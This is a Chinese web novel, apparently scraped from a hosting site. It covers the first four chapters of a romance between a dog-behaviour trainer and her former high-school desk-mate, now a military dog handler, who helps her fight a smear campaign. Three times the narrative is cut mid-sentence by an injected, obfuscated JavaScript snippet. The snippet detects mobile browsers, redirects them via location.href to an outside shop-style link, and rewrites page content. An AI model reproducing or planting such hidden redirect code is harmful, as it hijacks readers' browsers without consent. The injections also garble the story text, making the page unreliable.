《宇宙爆炸时》 1. 01·重逢 《宇宙爆炸时》 文/青山吟 晋江文学城首发 // 在宇宙爆炸时,假使我向你投射的真心达到了第一宇宙速度,那么它也会变成一颗引力星回到我身边吗? ——5022年6月27日,邱柏止留。 // 接到电话时,温雪吟正在给一只焦虑型泰迪做脱敏训练。 电话那头是周奶奶,声音抖得厉害:“温老师,我们家毛毛跑出去了,在马路上乱窜,我拉不住它……” 此类事情屡见不鲜,温雪吟立刻缓声安抚:“您先别追,越追它越跑,您现在在哪?” 对面报了个地址,温雪吟快速在脑子里过了下路线。 城东翠屏路,离学校不算远,这个点也不堵车。 “我知道了,您站在路边别动,我十分钟到。” 她挂掉电话,微微对泰迪主人点头:“今天先到这里,回去每天做三次练习,下周复诊。” 说完转身,从柜子里拿出装了牵引绳、响片、零食pouch、一次性嘴套的应急包。 又从挂钩上取下年糕的胸背带。 “年糕,走了。” 被叫到名字的边牧从被窝里站起来,甩了甩毛,小跑到她面前坐下,等着被套胸背带。 事发地点在城东一条双向四车道上,温雪吟赶到时,一只金色大狗正蜷在绿化带边缘,浑身发抖。 不远处,周奶奶站在路边哭,想靠近又不敢。 温雪吟让周奶奶退到二十米外,自己则蹲下来观察金毛的状态。 耳朵后贴、尾巴夹紧、瞳孔放大,是典型的恐惧应激。 与此同时,温雪吟注意到,金毛的眼睛时不时瞟向周奶奶手里的零食袋。 她眼神亮了亮。 屏住呼吸,她让年糕趴下,发出“呜呜”的安抚声。 接着,温雪吟自己用侧身慢慢挪动靠近,声音压得又低又柔:“毛毛……毛毛乖……” 金毛的鼻翼翕动,犹豫着探出头。 温雪吟掏出鸡肉干放在地上,向后退了一步。 金毛犹豫几秒,终于伸头叼走。 见状,温雪吟松了口气。 照这个节奏,很快就能套上牵引绳。 谁也没想到,会突然有一辆经过的重型卡车发出鸣笛声。 旋即,金毛受到惊吓,像被电击一样弹起来,嚎叫一声并冲向了马路中央。 一辆军车从对向车道急停,车门打开,一个身着军装的男人快步下车。 金毛被困在车流中央,惊恐地原地打转。 男人并未贸然靠近,而是在五米外停下,朝着金毛方向抬起右手,手掌朝下,缓缓下压。 一个短促有力的口令从他喉咙里发出:“蹲。” 金毛四条腿一软,伏在了地上。 男人脱下外套,盖在狗身上遮住其眼睛,金毛在黑暗中本能地安静下来,身体还在发抖,但不再挣扎。 他单手把狗揽在怀里,转身向路边走来。 随着男人慢慢走近,温雪吟看清了他。 眉骨很高,眼窝微深,整张脸轮廓分明。 四目相对的一瞬间,温雪吟嘴唇微张,眸中波动明显,带着些许惊异与茫然。 还以为自己出现了幻觉。 直到邱柏止走到她面前,把金毛递过来,语气平静:“你的狗?” “一个学员家长的,”温雪吟从回忆里缓过神来,目光重新变得清明,随后很快给金毛套上牵引绳,说:“谢谢。” 邱柏止点了点头,目光在她脸上停了不到两秒。 “注意安全。”他说。 然后转身,上车,发动引擎,汇入车流。 “注意安全?他真就说了这一句话?”啪地一声合上平板,好朋友兼合租室友苏禾这下连剧也不追了,抓着温雪吟追问后续发展。 温雪吟回想起自己抱着狗站在原地闻邱柏止车尾气的那一幕,思考了一下:“对。” “这不对吧!好歹你们也坐了三年同桌,他怎么可能不记得你。” “不到三年,他高三上就转走了。”温雪吟温声补充道。 苏禾摇晃着温雪吟的肩膀:“差不多差不多,你别这么较真啦!” 随后又好奇地问:“都说男大十八变,他有没有变相啊?是更帅了还是变丑了?” 闻言,温雪吟脑海里不由自主浮现出那张前不久刚见过的脸,慢慢开口:“变黑了一点。” “成黑蛋啦?” “倒也没有,还是挺帅的,”温雪吟顿了顿,“不过变化确实很大。” 他剪了一头碎短发,摘掉了从前那副黑框眼镜,眉眼轮廓彻底露了出来,肤色晒得黑了些,更加……锋芒毕露了? 温雪吟形容不出来。 而且,居然还会说“注意安全”。 她甚至感觉到有点受宠若惊。 她记得,刚成为同桌的第一个月,除去必要交流外,两个人没说过一句话。 也从来没见过邱柏止除波澜不惊之外的第二种状态。 只不过当时,苏禾总爱拉着她观察邱柏止,美名其曰探索冷面学神不为人知的另一面。 从前的他,实在不是体贴到会嘱咐别人的性格。 温雪吟垂下睫毛,忽然想起他们之间的最后一次见面。 蝉鸣方开始叫唤的初夏夜晚,温雪吟趁晚自习间隙来到学校天台透气,仰头看天空中稀少的星。 少顷,她偏头想望望另一边的天空,却和一双黑眸对上目光。 不知从什么时候起,身边多出来另一个人。 少年挺拔的身子遮住一片阴影,他单肩背着黑色书包,微低着头看她,神情难辨。 此时的温雪吟和邱柏止的关系没那么陌生了,察觉到他可能是有事要说,便主动问:“是有什么事吗?” 她想,或许是他请了第二节晚自习的假,想让她帮忙管理一下班级秩序。 然而下一秒,他说: “我转学了,以后不会再来学校了。” 沉默片刻,温雪吟张了张唇,说:“好的,再见。祝你前程似锦。” “温雪吟。”邱柏止突然叫她的名字。 直到尾音彻底消散在空气中也没说出下一句话。 温雪吟疑惑地应了声,没等到回答。 那是她第一次看见他展露出如此复杂的神情,混合了挣扎、不舍、坚定。 好似想说些什么,却最终没说出口,他很快恢复平静,对她说:“再见。” 真正坐回教室,身旁座位已经被完全清空,空荡荡、孤零零。 温雪吟后知后觉意识到,他是在和自己告别。 至今,温雪吟也不知道他当时究竟想说些什么,只不过他早已把她忘记。 这很正常,他们在彼此生活中本就只充当无关紧要的陌生人角色。 苏禾劲头来得快,去得也快,听到邱柏止变黑这点后便觉索然无味,打开平板准备继续追剧。 见苏禾没再问,温雪吟从沙发上起身,抱着睡衣往卫生间的方向走。 然而下一秒,苏禾焦急的声音传来。 “不好了———” // 另一边,宿舍。 刚推开宿舍门,蒋江“扑通”一下瘫倒在床,哀嚎:“申请取消晚训。” 邱柏止脱下外套,斜睨了他一眼:“驳回申请。” “不过你今天怎么非得下车一趟?”突然想到什么,蒋江坐直身子,“我认得那个女生,镇上的狗狗学校就是由她经手的,能力不错。而且,我敢保证她自己绝对能处理好那只金毛,你有点多此一举了。” 下午经过城东翠屏路时,邱柏止猛地急刹车,给蒋江吓一大跳,还以为发生什么大事了。 只是还没来得及说话,就见他推开车门直直向对面走去。 眼睁睁看着他抱起来了……一条狗? 蒋江看得叹为观止,等到邱柏止上车后,还带着敬畏之心给他竖了一个大拇指: “不愧是能在我们诸多军犬训导员中脱颖而出的邱大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478328|201611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班长。” 听到被说多此一举,邱柏止不置可否:“是吗。” 蒋江没在意他的冷淡,他话多,通常一个人也能自顾自说上半天,堪比单口相声。 这会他说着说着,突然掏出手机翻到一张照片,放大一个角落,展示给邱柏止看:“以前参加演练还和她合作过,当时你去外地训练了,所以应该不认识她。” 照片有点糊,长发、侧脸,女生没看镜头,而是低垂下眼,怀里抱了一只狗柔柔笑着,阳光铺洒发尾,整个人像在发亮。 邱柏止目光扫过女生笑出来的梨涡。 忽的,他启唇:“认识。” 话音刚落,蒋江被水呛到,缓了片刻,眯眼审视他:“稀奇啊,就没见你说过认识什么人,关系非同寻常啊。” “别乱说,”邱柏止沉声道,概括得言简意赅,“高中同桌而已。” 蒋江若有所思:“行。”接着低头刷起手机来。 但没过多久,蒋江又把手机侧过来,屏幕画面停留在某个app上。 “看,这就是她的主页,平常他们学校……” 话还没说完,不知看见什么,他眼睛倏地瞪大了,“咦,这是怎么回事?” 邱柏止伸手接过手机,往下划了划,神情渐渐严肃。 本地宠物论坛,一条被标着鲜红“爆”字的帖子被顶到首页热门,标题刺眼。 《惊曝!梦想狗狗学校伪善面具,温柔训练实为□□,狗狗被训出严重心理创伤!》 发帖人是匿名账号,配了几张模糊不清的图片,截取老师们训练时引导狗狗的瞬间,说该校没有专业资质,是违规经营,日常通过殴打、虐待狗狗等方式来训狗。 并且还贴出“受害者”的聊天记录,声称自家狗狗在梦想训练后,非但没有好转,反而变得极度胆小、攻击力极强。 帖子发酵得很快,许多爱狗人士、不明真相的网友纷纷在评论区谩骂,指责学校虐待动物,没有良心。 陆续有狗狗家长打来电话,有的质疑有的要求退费,还有的直接上门,满脸怒气地要求把狗狗接走,言语间满是不信任。 屋漏偏逢连夜雨,就在温雪吟一个一个给客户发送狗狗完整训练视频以证明自己的清白时,助理小鱼焦急地从外面跑进办公室,手里拽着一张市动保协会的停业检查通知。 小鱼急得眼眶发红,把纸往她面前一递:“他们说我们训练方式涉嫌/虐待动物,要求立刻停业整改!可我们明明都是科学正向训练,连大声呵斥都很少,怎么可能虐待啊!” 温雪吟深吸一口气,强迫自己冷静下来,思考会是谁在背后给她们学校泼脏水。 她做这份工作很少得到身边人的认可,别人总说她看着柔柔弱弱,不像是能训好烈性犬的人。 可她偏要做。 于是两年前辞职高中老师这一公认铁饭碗,接手了她现在所在的狗狗学校,还在招牌前加了个缀“梦想”。 她的梦想狗狗学校专攻犬只行为矫正与陪伴训练,专门接收那些被其他机构拒收的、有焦虑、攻击性等问题的狗狗。 两年时间,温雪吟证明了自己,学校小有名气,积累大量好口碑,她也用耐心和专业,让一只只问题狗狗重新变得温顺亲人。 有名气、口碑好,自然也意味着经常遭人眼红。 这次是有人在背后,处心积虑要毁了她的学校。 “会不会是对面的宠乐训犬基地啊?”小鱼跟她想到了一块去,“他们对我们心存不满也不是一天两天了,上次给我们使绊子的也是他们,总认为我们抢走了他们客户。” 温雪吟和她对视,从彼此眼中看到了不约而同的凝重:“还有待商榷,但,很有可能。” 窗外,闷雷滚滚,一场大雨将至。 门吱呀一声开了,温雪吟本以为是狂风作祟,打算起身把门重新关好,免得风雨灌进来。 她的脚步还没迈开,就见一个人的身影径直从外面走了进来。 紧随其后的,是一阵惊呼声。 “你怎么会来?” 2. 02·作证 窗外暴雨如注。 “雪吟,我联系了本地宠物行业协会的专业人士,他们愿意出面作证。”苏禾收了伞,甩掉身上的雨水,对温雪吟说。 温雪吟蹙眉,感到不解:“我记得那些人从来都是跟着舆论走,这次怎么会突然跳出来要帮我们?” 苏禾也有些疑惑:“我最开始联系他们的时候,他们确实是以迫于舆论压力的理由迟迟不肯给出明确答复,但就在刚刚突然打电话给我,说愿意作证。” 她又说:“不过无所谓他们怎么想的,只要愿意出面,对我们就是有利的。” 虽说身正不怕影子斜,梦想狗狗学校并未做出那条帖子里所说的任何一个行为,奈何在背后人的恶意操控下,这场危机没有丝毫缓解的迹象。 温雪吟没有坐以待毙,她不眠不休整理出了所有受训犬的训练视频、行为评估报告、客户真实反馈报告,还有自己的专业资质证明和学校的合法经营手续,并在社交平台上发布了长篇澄清声明,附上宠物行业协会对学校训练方法的专业澄清。 本以为会有转机,可在水军的恶意控评下,澄清贴很快被淹没,根本没人愿意看,反而被指责作秀,就连权威的宠协专业澄清都被人说是靠走关系、贿赂等方式做的公关措施,称其没有丝毫可信度。 在汹涌的舆论面前,普通的澄清太过苍白,想要扭转局面,太难太难。 学校处于停摆状态,温雪吟坐在训练场的草地上望天发呆,厚厚几叠资料堆在地上,身边围着几只捡来的流浪犬,似乎感受到了她的低落,纷纷凑过来舔舐她的手心。 一股巨大的失落感席卷了温雪吟,阳光洒在她身上,她却觉得浑身发冷。 她始终相信,真相或许会迟到,但绝不会被掩埋。 只是她不知道,这份真相,要等到什么时候才会被所有人看到。 深吸一口气又吐出,温雪吟的目光重新变得沉静而坚定,她捡起地上的资料,决意从头梳理证据。 纵使前路晦暗,她也会咬牙坚持,绝不退缩。 三天后,事情的发展让所有人意想不到,坚持不懈在温雪吟帖子下嘲讽和诋毁的网友注意到,所有相关帖子被删除,梦想狗狗学校的账号发布了官方辟谣声明,对家恶意抹黑的证据被公之于众。 紧跟着,数个新闻媒体同时发布视频。 镜头主角是网上最具影响力和专业性的宠物博主邱念。 画面从邱念踏进狗狗学校开始拍起,身后跟着几个穿着正装满脸严肃的人,她对着镜头一一作出介绍。 “我身后这几位,其中三位是大家所熟知的宠物权威专家,两位是市场监管部门的工作人员。” 她转换了角度,朝向梦想狗狗学校的内部环境,继续说: “今天我站在这里,替我不方便出面的现役军犬训导员哥哥,借他专业犬只训练师的身份,针对梦想狗狗学校被恶意抹黑一事,做出正式澄清。” 随后,邱念拿出手机拨打语音通话,接通,对面是一道清晰有力的嗓音,环绕整个场地。 “第一,网络上流传的所谓虐犬视频,均为恶意剪辑和断章取义,温老师采用的是国际通用的正向激励陪伴训练法,所有训练流程符合犬只行为矫正专业规范,这一点在场的三位宠物行业权威专家,可以共同作证。” 邱念侧身,示意专家向前。 三位专家纷纷点头,展示专业鉴定报告,开口证实。 通话里的声音还在继续:“第二,梦想狗狗学校资质齐全,合法合规经营,温老师拥有国家认证的犬只行为矫正师资质,此前相关部分上门检查已确认学校无任何违规行为。” 邱念拿出市场监管部门出具的检查报告,当众展示,白纸黑字清晰明了。 “第三,此次恶意抹黑事件,是有人蓄意策划,已涉嫌诽谤与不正当竞争,相关证据已全部提交给网监部门与市场监管局,造谣者必将受到法律的严惩。 “最后,我再次以军犬训导员的身份担保,所有谣言均为虚假,还请大家不要轻信,尊重事实,尊重温雪吟老师的心血。” 视频最后,是温雪吟直视镜头,语气沉静:“梦想狗狗学校以前没有、以后也绝不会做出此类事情,欢迎大家将狗狗送来我们学校培训,感谢大家的信任,感谢愿意为我们学校作证的每一个人。” // 看到网上的舆论慢慢扭转,温雪吟悬着的心终于放了下来。 白天解决完剩余残留问题,宣布两天后正式开业,晚上她躺在床上翻来覆去睡不着。 解锁手机,点开短信界面,最上面一条是三天前陌生号码发来的消息。 「我是邱柏止,明天见一面吗?」 那时温雪吟正因为找不到合适的律师和澄清人帮忙作证而焦头烂额,看到这条短信第一反应是有人搞怪找错了人。 随之,那个号码又发来一条:「温雪吟,是云老师找的我,我可以出面帮忙。」 云老师是他们高中班主任,温雪吟每个节假日都会给她发消息问候,因此两人一直有在联络。 温雪吟这才记起云老师这几天给自己打电话问了前因后果,并说会尽力帮她找人。 次日咖啡馆。 温雪吟搅着杯里的拿铁,对面坐着邱柏止。 他今天没穿军装,换了一身黑色卫衣搭夹克,看着没上次见面那么成熟。 事态紧急,温雪吟略去了寒暄,直奔主题:“我这里已经搜集了一切可以用上的材料,目前最大的问题是权威性被质疑,我这里没有肯出面帮我证实的人。” 说实话,温雪吟并没有寄太多希望,但无论如何,总要试试。 然而邱柏止静静听她说完,没说别的,只落下三个字:“我可以。” 在温雪吟搜集的资料以及邱柏止的帮助下,事情发展顺利得不可思议。 思绪回笼,温雪吟在屏幕前敲敲打打良久,最终还是把那句话发了出去。 「这次真的太感谢你了,这周末我请你吃饭吧。」 盯着手机等了许久也没等到回复,困意袭来,温雪吟迷迷糊糊中意识到现在这个时间太晚,邱柏止估计早就入睡了。 于是没再等,心安理得睡过去。 在她即将坠入梦乡之际,手机屏幕在黑暗中亮了一瞬。 温雪吟起床后发现,昨晚以为已经入睡的人,居然在凌晨两点回了消息。 「198xxxxxxxx,微信手机号」 「微信联系」 看到短信,温雪吟拧了拧眉。 这是答应还是拒绝? ……和高中时候一样让人摸不着头脑。 通过手机号搜索加了好友,对方秒同意。 「我通过了你的朋友验证请求,现在我们可以开始聊天了」< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478329|201611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>五分钟过后,温雪吟托腮看着空荡荡的聊天记录,见对面还是没有要发消息的意思,索性又问了一遍昨晚的问题。 结果对面秒回:「周末没时间。」 温雪吟忍气吞声打字问他什么时候有空。 结果邱柏止发来一张训练时间表,精确到这两周内每天几时用餐几时如厕那种。 艰难地找到一个两人都空闲的时间段,她发过去问这个时间可以吗。 「可以。」 “可以啊你,都约上人家吃饭了。”休息时间,蒋江笑嘻嘻地锤了锤旁边闹了个大红脸的男生。 方叙语气结结巴巴的,有些急了:“是、是父母组的局,不是我单独约的她。” “哦。”蒋江意味深长地拉长了尾音,转头看向邱柏止,随口问:“你这几天怎么看手机这么频繁?跟谁聊天呢你。” 邱柏止熄灭手机,抬眼,语气平淡:“没谁。” 憋了一会,方叙挠了挠脸,还是决定求助他们:“跟很久没见的以前暗恋过的女生吃饭,有什么需要注意的吗?” 蒋江这下来了话匣子,噼里啪啦说个不停。 “首先,你肯定不能迟到啊!要给人家留一个好的印象,如果条件允许的话最好亲自去接她。其次,给小女生准备一点礼物……” 房间里有点闷,邱柏止把外套脱了搭在椅子上,手腕上戴着的那截红绳随之滑落下来。 恰巧被蒋江看到,他自然地换了个话题,指着红绳问: “班长,这绳子有什么特别的吗?我第一次见你就戴着了,都磨成这样了,怎么不换一条?” “只是一直没摘。”邱柏止拧开瓶盖,喝了口水,没再回话。 耳边人声嘈杂,他往椅背上一靠,仰头望着天花板,脑海里却反复晃着一双明亮的眼睛。 灵动、温和、清澈,始终眉眼弯弯,笑意柔软。 可就是这样一个人,发的消息话里话外都是要和他撇清关系的意思,不愿意欠自己一点人情。 以前也是这样。 邱柏止缓缓垂眼,眼底像沉着一片化不开的浓墨。 可这次,他决计不会如从前那般。 转眼就到了约好吃饭的那天。 办公桌前,小鱼将几叠打印好的资料放下:“温老师,刚公布合作征集消息,没想到一下子多了这么多机构发来邀约,也算因祸得福了。” 温雪吟慢慢翻看着,随口说:“数量虽多,但资质参差不齐,先筛一遍再说。” 恰巧手机屏幕亮起,她解锁瞥了一眼,神色随即怔住。 「听说学校近期在对接合作方,我们部队刚好开展军犬社会化适应性训练,需要和地方专业训犬机构协作,你意下如何?」 是邱柏止发来的消息。 温雪吟没有贸然应允,思索片刻打字回复:「见面再详谈?」 对面很快传回一个字:「好。」 临近下班时间,温雪吟收拾好手边文件,叮嘱小鱼收好资料,拎起包起身。 走出学校,校门口停着一辆陌生的黑色轿车,她只扫了一眼,并未放在心上。 她低头正要在手机上叫车,耳边突然传来两声短促的喇叭声。 接着那辆黑色轿车摇下了车窗,驾驶位露出一张熟悉的脸。 “温雪吟,上车。”邱柏止将目光移到她的脸上,用的是命令的语气。 3. 03·聚会 温雪吟稀里糊涂上了邱柏止的车。 车内静得落针可闻,驾驶座上的男人不动声色地扫了几眼后视镜,见女人拘谨地收着手,一声不吭。 所幸一阵电话铃声打破了沉默。 “帮我接一下电话,”邱柏止忽然请求道,“可以吗。” 温雪吟迟钝抬头,反应过来他是在对自己说话,忙应了声好。 她挪到后座中间,微微倾身去拿手机。 手机被放在手刹前的凹槽里,位置很偏,得伸手往里探才能够到。 探了许久才摸到手机,温雪吟刚要收回手,路口的绿灯恰好跳成红灯。 邱柏止伸手去拉手刹,两人的手猝不及防地碰在了一起。 由于车身骤然停下,温雪吟身体不受控制往前倾,邱柏止下意识抬手,扶住了她的额头。 “小心。” 温雪吟缩回身子,低声道谢。 她往上划了划手机屏幕,刚刚打来的电话早已自动挂断,目前是请输入密码的页面。 感受到手背那点温热的触感不再存在,邱柏止悄悄用拇指蹭了蹭指尖关节,随后又松开,说:“密码是502206。” 通话记录最新一条显示的是云老师的大名,温雪吟将电话回拨,小心举到邱柏止耳边。 邱柏止空出手摁了免提,语气平稳从容,“嗯,云老师,已经接到她了,马上到。” 听筒里传来温柔熟悉的女声。 “行啊,不着急,开车慢点,我只是看雪吟一直没回我消息所以问一下,你把电话给她吧。” 闻言,温雪吟收回看路况的视线,用气声问:“我吗?” 得到点头的回复,温雪吟乖乖对着手机打招呼:“云老师好。” “小温呀,小邱接到你我就放心了,等会见。” 等会见? 挂断电话后温雪吟迷茫抬头,正好和邱柏止对上眼神。 邱柏止抬了抬手机,示意她看。 温雪吟发现云老师还真的给她发了消息。 「雪吟,上次跟你说过我要移居U国养老的事,基本都定下来了,后天就出发。」 「走之前想跟你和小邱一块儿吃顿饭。刚听小邱说你们今天正好有约,那我也一起过去。」 半小时前发的,不过她当时忙着收尾工作,没太注意未读消息。 说起来,她也的确很久没见过云老师了,距离上次同学聚会,已经过了两年。 对了,同学聚会。 思及此,温雪吟悄悄打量着邱柏止。 毕业这么多年,他们班差不多隔两年就聚一次,频率不算低。 可不知为何,他却一次都没出现过。 难道是因为当年只在班里待了两年,对这个集体没什么归属感吗? 温雪吟不知道的是,在她打量邱柏止的时候,对方的目光也时不时落在她身上。 “小邱,你怎么总盯着我们雪吟看?” 包厢内,云茗的话音落下,带着笑意打趣。 暖黄的灯光漫下来,圆桌中央的汤锅正冒着白汽,温雪吟的视线被氤氲的热气模糊了些许,盛饭的手顿住。 邱柏止倒是答得很淡定:“昔日同桌许久未见,索性多看几眼,好把人熟悉熟悉。” 温雪吟将盛好的饭推到云茗面前,笑了笑:“是呀,他对我眼生到什么程度呢?上次见面都没认出我来。” 这一唱一和,倒是恰到好处缓解了云茗所说那句话带来的微妙氛围。 邱柏止也面不改色:“嗯,怪我,确实太久没见了。” 举起酒杯,温雪吟看向云茗,换了个话题,神色郑重:“云老师,我敬您。谢谢您这么多年一直照顾我,您这次远赴U国,路途遥远,祝您一路平安,一生顺遂。” 话落,邱柏止也随之端起杯子,说:“也多谢您一直记挂着我,往后您在那边好好休养身体,若是有任何需要,随时都可以联系我们。” 云茗眉眼一弯,端起酒杯碰了过去,眼底满是欣慰:“好好好,有你们这句话,老师心里就踏实了,你们俩都能好好的,比什么都强。” 酒过三巡,温雪吟和云茗相谈甚欢,邱柏止插不进话,便在一旁静静听着,时不时给她们续杯酒。 聊到年少旧事,云茗唇边漾开温和的笑意:“还记得高一调座位吗?全班自由选座,邱柏止次次都选坐在你旁边。有次晚自习我巡堂,教室里闹哄哄的,只你们那一小块课桌格外安静。 “我当时看得清楚,太阳晃眼,你趴在桌上睡觉,他还把外套脱下来给你挡光呢。” 随着云茗的话语落下,当年一些画面在温雪吟脑海里慢慢清晰。 夕阳斜斜打进教室,光线刺眼灼人。 晚自习课前,她趴在桌面小憩,遇到亮光下意识眯了眯眼,把脑袋偏向另一侧。 忽然,一件衣服轻柔地盖在她头顶,恰好遮住了那抹扰人光线。 感受到周遭喧闹渐渐变得遥远,她强撑着困意睁开眼睛。 只看见身旁少年眉眼冷淡,正安静地低头刷题,一言不发。 回忆缓缓收拢。 席间不过静了片刻,一直沉默不语的邱柏止却突然开口,声线低沉平淡:“顺手而已。” 温雪吟睫毛颤了颤,心头有些茫然。 刚想接话,却被适时响起的手机铃声打断。 她朝两个人颔首:“不好意思,我先出去接个电话。” 他们所在包厢到洗手间需要穿过很长的一条走廊,途中路过一个绿油油的圆形装饰花坛,温雪吟边接电话边绕着花坛走。 电话那头是苏禾。 苏禾是梦想狗狗学校的创始人之一,打电话是来和她聊最近需要挑选的合作项目。 说完正事,苏禾的八卦之心又熊熊燃烧起来。 “我去,所以你现在在跟邱柏止吃饭啊?”她开始盘问。 “还有云老师在呢。” 苏禾权当没听见,自顾自说着:“他是不是真对你有意思啊?怎么又是帮你解决问题,又是约你吃饭的。” “怎么可能,”温雪吟无奈,停住脚步,又解释道:“而且,是我主动约他吃的饭。” “哦哦——”苏禾拖长了语调,显然还沉浸在自己的猜测里,“那你对他什么感觉?” 温雪吟摇摇头,心想这通电话差不多也该收尾了,便转身准备往洗手台去。 正待开口继续回答苏禾,视线里忽然闯入一道身影。 她们方才议论的人,此时正从左侧走廊缓步走来,离温雪吟的距离越来越近。 明明并非她主动提起,但温雪吟还是莫名多了一些说别人坏话的心虚感,对着手机匆匆丢了句“什么也没”,便立刻挂断了电话。 她站直身子,向邱柏止抬手打了个招呼。 他眼中闪过一丝讶异,也颔首回应。 擦肩而过时,邱柏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478330|201611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止垂下眼睑,低声说:“云老师今天说的那些话,你别放在心上。” 原来他也听出来了吗。 温雪吟正暗暗想着,却听见他补充下一句:“我尊重你的意见。” // 直到回了包间,发觉自己座位上多了一盆多肉,温雪吟也没从晕乎乎的状态中缓过来。 他最后说的那句话到底是什么意思? 高中时苏禾在温雪吟隔壁班,自从听说她的同桌是邱柏止,就总兴致勃勃地拉着她八卦,追着问这位学神平日里到底是什么模样。 了解过后,最常评价的一句话就是:“感觉他会一辈子断情绝爱,哪怕以后真谈恋爱了也只顶着他那张死人脸,无趣。” 说完,她单手托着腮,看向温雪吟:“你也一样,跟断了情根似的。” 每到这时,温雪吟只会无奈叹口气,回她一句:“好好学习。” 不过从某种程度上苏禾也没说错,和邱柏止坐同桌,温雪吟的最大感受就是,学习压力极其大。 从早学到晚,所有课余时间都花在那堆习题册上了,哪还顾得上谈恋爱。 致使很长一段时间内,温雪吟都把他视为自己的主要学习目标和榜样。 久而久之,邱柏止在她心里,和一本会走路、会考试的百科全书没什么区别。 思及此,真想发条帖子问问广大网友:急急急,高岭之花性情大变怎么办? “想什么呢这么入神,我叫你也听不到。”云茗挥挥手,让她回神。 拉回思绪,温雪吟把那盆多肉举起来,问:“这是哪来的呀?” 云茗也从背后拿出一盆绿萝,展示给她看,声音带笑:“小邱送你的,我也有一个。” 温雪吟闻言愣住,半晌慢慢哦了一声。 外头天色渐渐变暗,这顿饭也吃得差不多了。 温雪吟家离得比较远,邱柏止让她坐上副驾驶,说先把云茗给送回家。 下车后,云茗站在车前和他们告别:“你们俩都要好好的啊。” 邱柏止把车窗摇下来,温雪吟探出脑袋,不停朝云茗挥手:“嗯嗯,云老师,一路顺风。” 看着黑色轿车开远,云茗站在原地,偷偷抹了一把眼泪。 没了活跃气氛的云茗,车内重新恢复安静,只有车载音乐在唱歌。 两人独处,一丝隐秘的氛围在蔓延。 温雪吟今晚喝了酒,脑袋晕晕的,顺势靠在椅背上,闭眼休息。 心里暗自企盼着,希望邱柏止千万不要提起方才聊过的话题。 哪知邱柏止偏不如她所愿。 车载音乐突然受到人为切断,紧接着,邱柏止的嗓音在车内响起。 “我跟你说的事情,你考虑得怎么样了?” 温雪吟睁开眼,茫然地问:“什么事?” “把这次合作的机会给我,怎么样?”他说。 听到是这件事,温雪吟微不可查地松了一口气,不知为何又多了几分失落。 她甩掉脑袋里不着边际的念头,说:“具体情况我回去跟学校其他老师讨论一下,过段时间再给你答复。” “可以。”邱柏止从善如流地答应。 一路无话。 车辆行驶到温雪吟家楼下,稳稳停住。她解开安全带,试着拉了拉门,没拉动,正要请邱柏止帮忙解锁,就听见他开了口。 “下周,还能约你出来赏脸吃个饭吗?” 4. 04·合作 温雪吟松开拉着车门的手,侧过头看他。 车内灯光昏沉柔和,邱柏止的目光沉沉,落在她身上。 她弯了弯眼,一侧梨涡若隐若现:“当然可以。” 刚吹完头发,温雪吟被阳台灌进来的凉风一吹,忍不住打了个寒噤,起身走过去关窗。 不经意往下一瞥,楼下停着一辆车,车灯在夜色中一闪一闪。 她只随意扫了一眼,便没再太留意。 邱柏止坐在驾驶座上,视线始终凝望着楼上那扇渐暗的窗,直至屋内灯光彻底熄灭。 他收回目光,压下翻涌的情绪,发动引擎,而后车身平稳驶离小区。 // 教室的软垫上,几只幼犬歪着脑袋乱晃,叫声软乎乎的。 温雪吟蹲在垫子上,额前已经沁出一层薄汗,脸色偏白。 刚才弯腰引导小狗时,头忽然一阵发晕,她下意识扶了把地面,才稳住身形。 有只小柯基又兴冲冲往她身上扑,她没像往常那样笑着躲开,只是抬手按住它的前爪,声音轻了不少,带着点不易察觉的沙哑。 “坐下,不可以扑人。” 语气依旧温和,却少了几分力气,说完,没忍住咳了两声。 明显感到自己有些低烧,温雪吟抬手按了按太阳穴,眼眶有点发烫。 强撑着把手里的零食分给围过来的小狗后,她用手撑住墙,拨打了个电话。 不出多时,便有另一个老师推开门,担忧地看向没什么血色的温雪吟:“温老师,这里我帮你看着,你要不要去医院挂个水?” “没事,麻烦你了。”温雪吟摆摆手,又望了望满屋子摇尾巴的小狗,转身走出教室。 “不麻烦,”办公室内,小鱼接住温雪吟递过来的资料,拍拍胸口,认真严肃点头,“雪吟姐,你安心去看病吧!” 温雪吟被她认真的神色逗得弯了弯唇,又叮嘱道:“这些狗狗的资料千万不要弄混哦。” “嗯嗯。” 猜测是昨晚房门窗户未关吹了凉风,温雪吟本以为只是普通低烧,便打算在办公室歇息片刻,等待自然烧退。 然而小鱼一见到她的模样就大惊,忙不迭找出体温计让她测温度。 昏昏沉沉之下,温雪吟努力聚神,看见体温计显示为38.9,已经快接近高烧。 